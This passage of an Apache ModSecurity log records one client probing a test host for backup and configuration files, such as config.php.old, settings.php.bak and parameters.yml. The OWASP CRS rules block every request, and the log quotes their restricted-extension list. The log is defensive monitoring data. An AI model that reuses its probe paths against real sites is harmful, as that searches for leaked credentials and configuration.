&quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVUgAAAAc&quot;]
[Thu Feb 26 01:03:33.313978 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVUgAAAAc&quot;]
[Thu Feb 26 01:03:33.314171 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.old&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVUgAAAAc&quot;]
[Thu Feb 26 01:03:33.377830 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVVAAAAAc&quot;]
[Thu Feb 26 01:03:33.378376 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVVAAAAAc&quot;]
[Thu Feb 26 01:03:33.378550 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.json.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVVAAAAAc&quot;]
[Thu Feb 26 01:03:33.421317 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEAAAAAI&quot;]
[Thu Feb 26 01:03:33.421790 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEAAAAAI&quot;]
[Thu Feb 26 01:03:33.421935 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.bak&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEAAAAAI&quot;]
[Thu Feb 26 01:03:33.439799 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVVgAAAAc&quot;]
[Thu Feb 26 01:03:33.440297 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVVgAAAAc&quot;]
[Thu Feb 26 01:03:33.440476 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.js.bak&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVVgAAAAc&quot;]
[Thu Feb 26 01:03:33.444854 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEQAAAAI&quot;]
[Thu Feb 26 01:03:33.445355 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEQAAAAI&quot;]
[Thu Feb 26 01:03:33.445499 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.php.old&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEQAAAAI&quot;]
[Thu Feb 26 01:03:33.500133 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEwAAAAI&quot;]
[Thu Feb 26 01:03:33.500372 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEwAAAAI&quot;]
[Thu Feb 26 01:03:33.500530 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmEwAAAAI&quot;]
[Thu Feb 26 01:03:33.532275 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmFAAAAAI&quot;]
[Thu Feb 26 01:03:33.532514 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmFAAAAAI&quot;]
[Thu Feb 26 01:03:33.532685 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmFAAAAAI&quot;]
[Thu Feb 26 01:03:33.558934 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmFQAAAAI&quot;]
[Thu Feb 26 01:03:33.559161 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmFQAAAAI&quot;]
[Thu Feb 26 01:03:33.559335 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmFQAAAAI&quot;]
[Thu Feb 26 01:03:33.593060 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.inc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVWgAAAAc&quot;]
[Thu Feb 26 01:03:33.593542 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVWgAAAAc&quot;]
[Thu Feb 26 01:03:33.593781 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc&quot;] [unique_id &quot;aZ-N1c9iaYbHzIBMVEXVWgAAAAc&quot;]
[Thu Feb 26 01:03:33.663764 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmGAAAAAI&quot;]
[Thu Feb 26 01:03:33.664304 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmGAAAAAI&quot;]
[Thu Feb 26 01:03:33.664457 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aZ-N1YCbt-ue5ARpbmjmGAAAAAI&quot;]
